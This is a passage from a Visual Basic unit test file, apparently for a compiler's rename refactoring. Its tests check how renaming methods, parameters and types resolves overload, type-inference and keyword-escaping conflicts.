+ vbCrLf + <Code> x.Ex()</Code>.Value + vbCrLf + <Code> End Sub, y)</Code>.Value + vbCrLf + <Code> End Sub, 0)</Code>.Value result.AssertLabeledSpansAre("conflict2", outputResult, type:=RelatedLocationType.ResolvedNonReferenceConflict) result.AssertLabeledSpansAre("conflict1", outputResult, type:=RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub OverloadResolutionConflictResolve_3() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Imports System Imports System.Runtime.CompilerServices Module C &lt;Extension()> Public Sub Ex(x As String) End Sub Sub Outer(x As Action(Of String), y As Object) Console.WriteLine(1) End Sub Sub Outer(x As Action(Of Integer), y As Integer) Console.WriteLine(2) End Sub Sub Inner(x As Action(Of String), y As String) End Sub Sub Inner(x As Action(Of String), y As Integer) End Sub Sub Inner(x As Action(Of Integer), y As Integer) End Sub Sub Main() {|conflict1:Outer|}(Sub(y) {|conflict2:Inner|}(Sub(x) Console.WriteLine(x) Dim z = 5 z.{|conflict0:Ex|}() x.Ex() End Sub, y) End Sub, 0) End Sub End Module Module E ' Rename Ex To Goo &lt;Extension()> Public Sub [|$$Ex|](x As Integer) End Sub End Module </Document> </Project> </Workspace>, renameTo:="goo") Dim outputResult = <Code>Outer(Sub(y As String)</Code>.Value + vbCrLf + <Code> Inner(Sub(x)</Code>.Value + vbCrLf + <Code> Console.WriteLine(x)</Code>.Value + vbCrLf + <Code> Dim z = 5</Code>.Value + vbCrLf + <Code> z.goo()</Code>.Value + vbCrLf + <Code> x.Ex()</Code>.Value + vbCrLf + <Code> End Sub, y)</Code>.Value + vbCrLf + <Code> End Sub, 0)</Code>.Value result.AssertLabeledSpansAre("conflict0", outputResult, type:=RelatedLocationType.NoConflict) result.AssertLabeledSpansAre("conflict2", outputResult, type:=RelatedLocationType.ResolvedNonReferenceConflict) result.AssertLabeledSpansAre("conflict1", outputResult, type:=RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub OverloadResolutionConflictResolve_4() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Imports System Imports System.Runtime.CompilerServices Module C &lt;Extension()> Public Sub Ex(x As String) End Sub Sub Outer(x As Action(Of String), y As Object) Console.WriteLine(1) End Sub Sub Outer(x As Action(Of Integer), y As Integer) Console.WriteLine(2) End Sub Sub Inner(x As Action(Of String), y As String) End Sub Sub Inner(x As Action(Of String), y As Integer) End Sub Sub Inner(x As Action(Of Integer), y As Integer) End Sub Sub Main() {|conflict1:Outer|}(Sub(y) {|conflict2:Inner|}(Sub(x) Console.WriteLine(x) Dim z = 5 z.{|conflict0:blah|}() x.Ex() End Sub, y) End Sub, 0) End Sub End Module Module E ' Rename blah To Ex &lt;Extension()> Public Sub [|$$blah|](x As Integer) End Sub End Module </Document> </Project> </Workspace>, renameTo:="Ex") Dim outputResult = <Code>Outer(Sub(y)</Code>.Value + vbCrLf + <Code> Inner(Sub(x As String)</Code>.Value + vbCrLf + <Code> Console.WriteLine(x)</Code>.Value + vbCrLf + <Code> Dim z = 5</Code>.Value + vbCrLf + <Code> z.Ex()</Code>.Value + vbCrLf + <Code> x.Ex()</Code>.Value + vbCrLf + <Code> End Sub, y)</Code>.Value + vbCrLf + <Code> End Sub, 0)</Code>.Value result.AssertLabeledSpansAre("conflict0", outputResult, type:=RelatedLocationType.NoConflict) result.AssertLabeledSpansAre("conflict2", outputResult, type:=RelatedLocationType.ResolvedNonReferenceConflict) result.AssertLabeledSpansAre("conflict1", outputResult, type:=RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameStatementWithResolvingAndUnresolvingConflictInSameStatement_VB() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Module Program Dim z As Object Sub Main(args As String()) Dim sx = Function([|$$x|] As Integer) {|resolve:z|} = Nothing If (True) Then Dim z As Boolean = {|conflict1:goo|}({|conflict2:x|}) End If Return True End Function End Sub Public Function goo(bar As Integer) As Boolean Return True End Function Public Function goo(bar As Object) As Boolean Return bar End Function End Module </Document> </Project> </Workspace>, renameTo:="z") result.AssertLabeledSpansAre("conflict2", type:=RelatedLocationType.UnresolvedConflict) result.AssertLabeledSpansAre("conflict1", type:=RelatedLocationType.UnresolvedConflict) result.AssertLabeledSpansAre("resolve", "Program.z = Nothing", type:=RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub #Region "Type Argument Expand/Reduce for Generic Method Calls - 639136" <WorkItem(729401, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/729401")> <Fact(), Trait(Traits.Feature, Traits.Features.Rename)> Public Sub IntroduceWhitespaceTriviaToInvocationIfCallKeywordIsIntroduced() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document FilePath="Test.vb"> Module M Public Sub [|$$Goo|](Of T)(ByVal x As T) ' Rename Goo to Bar End Sub End Module Class C Public Sub Bar(ByVal x As String) End Sub Class M Public Shared Bar As Action(Of String) = Sub(ByVal x As String) End Sub End Class Public Sub Test() {|stmt1:Goo|}("1") End Sub End Class </Document> </Project> </Workspace>, renameTo:="Bar") result.AssertLabeledSpansAre("stmt1", "Call Global.M.Bar(""1"")", RelatedLocationType.ResolvedReferenceConflict) End Using End Sub <WorkItem(728646, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/728646")> <Fact(), Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ExpandInvocationInStaticMemberAccess() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document FilePath="Test.vb"> Imports System Imports System.Collections.Generic Imports System.Linq Class CC Public Shared Sub [|$$Goo|](Of T)(x As T) End Sub Public Shared Sub Bar(x As Integer) End Sub Public Sub Baz() End Sub End Class Class D Public Sub Baz() CC.{|stmt1:Goo|}(1) End Sub End Class </Document> </Project> </Workspace>, renameTo:="Bar") result.AssertLabeledSpansAre("stmt1", "CC.Bar(Of Integer)(1)", RelatedLocationType.ResolvedReferenceConflict) End Using End Sub <WorkItem(725934, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/725934"), WorkItem(639136, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/639136")> <Fact()> <Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ConflictResolutionWithTypeInference_Me() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Imports System Imports System.Collections.Generic Imports System.Linq Class C Public Sub TestMethod() Dim x = 1 Dim y = {|stmt1:F|}(x) End Sub Public Function F(Of T)(x As T) As Integer Return 1 End Function Public Function [|$$B|](x As Integer) As Integer Return 1 End Function End Class </Document> </Project> </Workspace>, renameTo:="F") result.AssertLabeledSpansAre("stmt1", "Dim y = F(Of Integer)(x)", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(639136, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/639136")> <Fact(), Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ConflictResolutionWithTypeInference() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Imports System Imports System.Collections.Generic Imports System.Linq Class C Shared Sub F(Of T)(x As Func(Of Integer, T)) End Sub Shared Sub [|$$B|](x As Func(Of Integer, Integer)) End Sub Shared Sub main() {|stmt1:F|}(Function(a) a) End Sub End Class </Document> </Project> </Workspace>, renameTo:="F") result.AssertLabeledSpansAre("stmt1", "F(Of Integer)(Function(a) a)", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(639136, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/639136")> <Fact(), Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ConflictResolutionWithTypeInference_Nested() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Class C Public Shared Sub [|$$Goo|](Of T)(ByVal x As T) End Sub Public Shared Sub Bar(ByVal x As Integer) End Sub Class D Sub Bar(Of T)(ByVal x As T) End Sub Sub Bar(ByVal x As Integer) End Sub Sub Test() {|stmt1:Goo|}(1) End Sub End Class End Class </Document> </Project> </Workspace>, renameTo:="Bar") result.AssertLabeledSpansAre("stmt1", "C.Bar(Of Integer)(1)", RelatedLocationType.ResolvedReferenceConflict) End Using End Sub <WorkItem(639136, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/639136")> <Fact(), Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ConflictResolutionWithTypeInference_ReferenceType() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Module M Public Sub Goo(Of T)(ByVal x As T) End Sub Public Sub [|$$Bar|](ByVal x As String) End Sub Public Sub Test() Dim x = "1" {|stmt1:Goo|}(x) End Sub End Module </Document> </Project> </Workspace>, renameTo:="Goo") result.AssertLabeledSpansAre("stmt1", "Goo(Of String)(x)", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(639136, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/639136"), WorkItem(569103, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/569103"), WorkItem(755801, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/755801")> <WpfFact(Skip:="755801"), Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ConflictResolutionWithTypeInference_Cref() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document><![CDATA[ Class C Public Sub Goo(Of T)(ByVal x As T) End Sub ''' <summary> ''' <see cref="{|stmt1:Goo|}"/> ''' </summary> ''' <param name="x"></param> Public Sub [|$$Bar|](ByVal x As Integer) End Sub End Class ]]> </Document> </Project> </Workspace>, renameTo:="Goo") result.AssertLabeledSpansAre("stmt1", "Goo(Of T)", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(639136, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/639136")> <Fact(), Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ConflictResolutionWithTypeInference_DifferentScope1() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Module M Public Sub [|$$Goo|](Of T)(ByVal x As T) ' Rename Goo to Bar End Sub Public Sub Bar(ByVal x As Integer) End Sub End Module Class C Public Sub Bar(ByVal x As Integer) End Sub Class M Public Shared Bar As Action(Of Integer) = Sub(ByVal x As Integer) End Sub End Class Public Sub Test() {|stmt1:Goo|}(1) End Sub End Class </Document> </Project> </Workspace>, renameTo:="Bar") result.AssertLabeledSpansAre("stmt1", "Call Global.M.Bar(Of Integer)(1)", RelatedLocationType.ResolvedReferenceConflict) End Using End Sub <WorkItem(639136, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/639136")> <Fact(), Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ConflictResolutionWithTypeInference_ConstructedTypeArgumentGenericContainer() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Class C(Of S) Public Shared Sub Goo(Of T)(ByVal x As T) End Sub Public Shared Sub [|$$Bar|](ByVal x As C(Of Integer)) End Sub Public Sub Test() Dim x As C(Of Integer) = New C(Of Integer)() {|stmt1:Goo|}(x) End Sub End Class </Document> </Project> </Workspace>, renameTo:="Goo") result.AssertLabeledSpansAre("stmt1", "Goo(Of C(Of Integer))(x)", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(639136, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/639136")> <Fact(), Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ConflictResolutionWithTypeInference_ConstructedTypeArgumentNonGenericContainer() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Class C Public Shared Sub Goo(Of T)(ByVal x As T) End Sub Public Shared Sub [|$$Bar|](ByVal x As D(Of Integer)) End Sub Public Sub Test() Dim x As D(Of Integer) = New D(Of Integer)() {|stmt1:Goo|}(x) End Sub End Class Class D(Of S) End Class </Document> </Project> </Workspace>, renameTo:="Goo") result.AssertLabeledSpansAre("stmt1", "Goo(Of D(Of Integer))(x)", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(639136, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/639136")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ConflictResolutionWithTypeInference_ObjectType() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Class C Public Shared Sub Goo(Of T)(ByVal x As T) End Sub Public Shared Sub [|$$Bar|](ByVal x As Object) End Sub Public Sub Test() Dim x = DirectCast(1, Object) {|stmt1:Goo|}(x) End Sub End Class </Document> </Project> </Workspace>, renameTo:="Goo") result.AssertLabeledSpansAre("stmt1", "Goo(Of Object)(x)", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(639136, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/639136")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ConflictResolutionWithTypeInference_SameTypeParameter() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Class C Public Shared Sub Goo(Of T)(ByVal x As T) End Sub Public Shared Sub [|$$Bar|](Of T)(ByVal x As T()) End Sub Public Sub Test() Dim x As Integer() = New Integer() {1, 2, 3} {|stmt1:Goo|}(x) End Sub End Class </Document> </Project> </Workspace>, renameTo:="Goo") result.AssertLabeledSpansAre("stmt1", "Goo(Of Integer())(x)", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(639136, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/639136")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ConflictResolutionWithTypeInference_MultiDArrayTypeParameter() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Class C Public Shared Sub Goo(Of T)(ByVal x As T) End Sub Public Shared Sub [|$$Bar|](Of T)(ByVal x As T(,)) End Sub Public Sub Test() Dim x As Integer(,) = New Integer(,) {{1, 2}, {2, 3}, {3, 4}} {|stmt1:Goo|}(x) End Sub End Class </Document> </Project> </Workspace>, renameTo:="Goo") result.AssertLabeledSpansAre("stmt1", "Goo(Of Integer(,))(x)", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(639136, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/639136")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ConflictResolutionWithTypeInference_UsedAsArgument() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Class C Public Function Goo(Of T)(ByVal x As T) As Integer Return 1 End Function Public Function [|$$Bar|](ByVal x As Integer) As Integer Return 1 End Function Public Sub Method(ByVal x As Integer) End Sub Public Sub Test() Method({|stmt1:Goo|}(1)) End Sub End Class </Document> </Project> </Workspace>, renameTo:="Goo") result.AssertLabeledSpansAre("stmt1", "Method(Goo(Of Integer)(1))", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(639136, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/639136")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ConflictResolutionWithTypeInference_UsedInConstructorInitialization() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Class C Sub New(ByVal x As Integer) End Sub Public Function Goo(Of T)(ByVal x As T) As Integer Return 1 End Function Public Function [|$$Bar|](ByVal x As Integer) As Integer Return 1 End Function Public Sub Method() Dim x As New C({|stmt1:Goo|}(1)) End Sub End Class </Document> </Project> </Workspace>, renameTo:="Goo") result.AssertLabeledSpansAre("stmt1", "Dim x As New C(Goo(Of Integer)(1))", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(639136, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/639136")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ConflictResolutionWithTypeInference_CalledOnObject() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Class C Public Function Goo(Of T)(ByVal x As T) As Integer Return 1 End Function Public Function [|$$Bar|](ByVal x As Integer) As Integer Return 1 End Function Public Sub Method() Dim x As New C() x.{|stmt1:Goo|}(1) End Sub End Class </Document> </Project> </Workspace>, renameTo:="Goo") result.AssertLabeledSpansAre("stmt1", "x.Goo(Of Integer)(1)", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(639136, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/639136")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ConflictResolutionWithTypeInference_UsedInGenericDelegate() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Class C Delegate Function GooDel(Of T)(ByVal x As T) As Integer Public Function Goo(Of T)(ByVal x As T) As Integer Return 1 End Function Public Function [|$$Bar|](ByVal x As String) As Integer Return 1 End Function Public Sub Method() Dim x = New GooDel(Of String)(AddressOf {|stmt1:Goo|}) End Sub End Class </Document> </Project> </Workspace>, renameTo:="Goo") result.AssertLabeledSpansAre("stmt1", "Dim x = New GooDel(Of String)(AddressOf Goo(Of String))", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(639136, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/639136")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ConflictResolutionWithTypeInference_UsedInNonGenericDelegate() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Class C Delegate Function GooDel(ByVal x As String) As Integer Public Function Goo(Of T)(ByVal x As T) As Integer Return 1 End Function Public Function [|$$Bar|](ByVal x As String) As Integer Return 1 End Function Public Sub Method() Dim x = New GooDel(AddressOf {|stmt1:Goo|}) End Sub End Class </Document> </Project> </Workspace>, renameTo:="Goo") result.AssertLabeledSpansAre("stmt1", "Dim x = New GooDel(AddressOf Goo(Of String))", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(639136, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/639136")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ConflictResolutionWithTypeInference_MultipleTypeParameters() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Class C Public Shared Sub Goo(Of T, S)(ByVal x As T, ByVal y As S) End Sub Public Shared Sub [|$$Bar|](Of T, S)(ByVal x As T(), ByVal y As S) End Sub Public Sub Test() Dim x = New Integer() {1, 2} {|stmt1:Goo|}(x, New C()) End Sub End Class </Document> </Project> </Workspace>, renameTo:="Goo") result.AssertLabeledSpansAre("stmt1", "Goo(Of Integer(), C)(x, New C())", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(639136, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/639136")> <WorkItem(730781, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/730781")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ConflictResolutionWithTypeInference_ConflictInDerived() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Class C Public Sub Goo(Of T)(ByRef x As T) End Sub Public Sub Goo(ByRef x As String) End Sub End Class Class D Inherits C Public Sub [|$$Bar|](ByRef x As Integer) End Sub Public Sub Test() Dim x As String {|stmt1:Goo|}(x) End Sub End Class </Document> </Project> </Workspace>, renameTo:="Goo") result.AssertLabeledSpansAre("stmt1", "MyBase.Goo(x)", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub #End Region <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ParameterConflictingWithInstanceField() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Class GooClass Private goo As Integer Sub Blah([|$$bar|] As Integer) {|stmt2:goo|} = {|stmt1:bar|} End Sub End Class </Document> </Project> </Workspace>, renameTo:="goo") result.AssertLabeledSpansAre("stmt1", "Me.goo = goo", RelatedLocationType.NoConflict) result.AssertLabeledSpansAre("stmt2", "Me.goo = goo", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ParameterConflictingWithInstanceFieldRenamingToKeyword() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Class GooClass Private [if] As Integer Sub Blah({|Escape:$$bar|} As Integer) {|stmt2:[if]|} = {|stmt1:bar|} End Sub End Class </Document> </Project> </Workspace>, renameTo:="if") result.AssertLabeledSpecialSpansAre("Escape", "[if]", RelatedLocationType.NoConflict) ' we don't unescape [if] in Me.[if] because the user gave it to us escaped. result.AssertLabeledSpecialSpansAre("stmt1", "Me.[if] = [if]", RelatedLocationType.NoConflict) result.AssertLabeledSpecialSpansAre("stmt2", "Me.[if] = [if]", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ParameterConflictingWithInstanceFieldRenamingToKeyword2() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Class GooClass Private {|escape:$$bar|} As Integer Sub Blah([if] As Integer) {|stmt1:bar|} = [if] End Sub End Class </Document> </Project> </Workspace>, renameTo:="if") result.AssertLabeledSpecialSpansAre("escape", "[if]", RelatedLocationType.NoConflict) result.AssertLabeledSpansAre("stmt1", "Me.if = [if]", RelatedLocationType.ResolvedReferenceConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ParameterConflictingWithSharedField() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Class GooClass Shared goo As Integer Sub Blah([|$$bar|] As Integer) {|stmt2:goo|} = {|stmt1:bar|} End Sub End Class </Document> </Project> </Workspace>, renameTo:="goo") result.AssertLabeledSpansAre("stmt1", "GooClass.goo = goo", RelatedLocationType.NoConflict) result.AssertLabeledSpansAre("stmt2", "GooClass.goo = goo", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ParameterConflictingWithFieldInModule() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Module GooModule Private goo As Integer Sub Blah([|$$bar|] As Integer) {|stmt2:goo|} = {|stmt1:bar|} End Sub End Module </Document> </Project> </Workspace>, renameTo:="goo") result.AssertLabeledSpansAre("stmt1", "GooModule.goo = goo", RelatedLocationType.NoConflict) result.AssertLabeledSpansAre("stmt2", "GooModule.goo = goo", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> Public Sub MinimalQualificationOfBaseType1() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Class X Protected Class [|$$A|] End Class End Class Class Y Inherits X Protected Class C Inherits {|Resolve:A|} End Class Class B End Class End Class </Document> </Project> </Workspace>, renameTo:="B") result.AssertLabeledSpansAre("Resolve", "X.B", RelatedLocationType.ResolvedReferenceConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> Public Sub MinimalQualificationOfBaseType2() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Class X Protected Class A End Class End Class Class Y Inherits X Protected Class C Inherits {|Resolve:A|} End Class Class [|$$B|] End Class End Class </Document> </Project> </Workspace>, renameTo:="A") result.AssertLabeledSpansAre("Resolve", "X.A", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> Public Sub PreserveTypeCharactersForKeywordsAsIdentifiers() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Option Strict On Class C Sub New Dim x$ = Me.{|stmt1:$$Goo|}.ToLower End Sub Function {|TypeSuffix:Goo$|} Return "ABC" End Function End Class </Document> </Project> </Workspace>, renameTo:="Class") result.AssertLabeledSpansAre("stmt1", "Class", RelatedLocationType.NoConflict) result.AssertLabeledSpecialSpansAre("TypeSuffix", "Class$", RelatedLocationType.NoConflict) End Using End Sub <WorkItem(529695, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/529695")> <WorkItem(543016, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/543016")> <WpfFact(Skip:="529695"), Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameDoesNotBreakQuery() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Imports System Imports System.Collections.Generic Imports System.Linq Module Program Sub Main(args As String()) Dim col1 As New Col Dim query = From i In col1 Select i End Sub End Module Public Class Col Function {|escaped:$$[Select]|}(ByVal sel As Func(Of Integer, Integer)) As IEnumerable(Of Integer) Return Nothing End Function End Class </Document> </Project> </Workspace>, renameTo:="GooSelect") result.AssertLabeledSpansAre("escaped", "[GooSelect]", RelatedLocationType.NoConflict) End Using End Sub <WpfFact(Skip:="566460")> <Trait(Traits.Feature, Traits.Features.Rename)> <WorkItem(566460, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/566460")> <WorkItem(542349, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/542349")> Public Sub ProperlyEscapeNewKeywordWithTypeCharacters() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Option Strict On Class C Sub New Dim x$ = Me.{|stmt1:$$Goo$|}.ToLower End Sub Function {|Unescaped:Goo$|} Return "ABC" End Function End Class </Document> </Project> </Workspace>, renameTo:="New") result.AssertLabeledSpansAre("Unescaped", "New$", type:=RelatedLocationType.NoConflict) result.AssertLabeledSpansAre("stmt1", "Dim x$ = Me.[New].ToLower", type:=RelatedLocationType.NoConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> Public Sub AvoidDoubleEscapeAttempt() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Module [|$$Program|] Sub Main() End Sub End Module </Document> </Project> </Workspace>, renameTo:="[true]") End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> Public Sub ReplaceAliasWithNestedGenericType() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Imports C = A(Of Integer).B Class A(Of T) Class B End Class End Class Module M Sub Main Dim x As {|stmt1:C|} End Sub Class [|D$$|] End Class End Module </Document> </Project> </Workspace>, renameTo:="C") result.AssertLabeledSpansAre("stmt1", "Dim x As A(Of Integer).B", type:=RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> <WorkItem(540440, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/540440")> Public Sub RenamingFunctionWithFunctionVariableFromFunction() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Module Program Function [|$$X|]() As Integer {|stmt1:X|} = 1 End Function End Module </Document> </Project> </Workspace>, renameTo:="BarBaz") result.AssertLabeledSpansAre("stmt1", "BarBaz", RelatedLocationType.NoConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> <WorkItem(540440, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/540440")> Public Sub RenamingFunctionWithFunctionVariableFromFunctionVariable() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Module Program Function [|X|]() As Integer {|stmt1:$$X|} = 1 End Function End Module </Document> </Project> </Workspace>, renameTo:="BarBaz") result.AssertLabeledSpansAre("stmt1", "BarBaz", RelatedLocationType.NoConflict) End Using End Sub <WpfFact(Skip:="566542")> <Trait(Traits.Feature, Traits.Features.Rename)> <WorkItem(542999, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/542999")> <WorkItem(566542, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/566542")> Public Sub ResolveConflictingTypeIncludedThroughModule1() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document><![CDATA[ Class C Inherits N.{|Replacement:A|} End Class Namespace N Module X Class A End Class End Module Module Y Class [|$$B|] End Class End Module End Namespace 